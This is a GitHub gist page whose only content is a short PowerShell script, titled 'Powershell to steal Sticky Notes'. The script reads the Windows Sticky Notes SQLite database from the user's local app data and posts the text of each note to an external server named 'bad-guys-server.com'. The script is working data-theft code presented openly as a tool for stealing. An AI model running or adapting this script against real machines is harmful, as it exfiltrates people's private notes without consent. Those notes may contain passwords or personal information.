Skip to content

Instantly share code, notes, and snippets.

@jusso-dev
Created August 12, 2019 09:38
Show Gist options
  • Save jusso-dev/2065a47cb0a16ac4143000245a46ffd8 to your computer and use it in GitHub Desktop.
Save jusso-dev/2065a47cb0a16ac4143000245a46ffd8 to your computer and use it in GitHub Desktop.
Powershell to steal Sticky Notes
$env:TEMP + "\PSSQLite\1.0.3\PSSQLite.psm1" | Import-Module
$Database = $env:LOCALAPPDATA + "\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite"
$notes = Invoke-SqliteQuery -DataSource $Database -Query "SELECT * FROM Note LIMIT 100"
foreach($note in $notes) { Invoke-RestMethod -Uri "https://bad-guys-server.com" -Method Post -Headers @{"Content-Type"="application/json"} -Body @{"NoteText"=$note.Text} | ConvertTo-Json }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment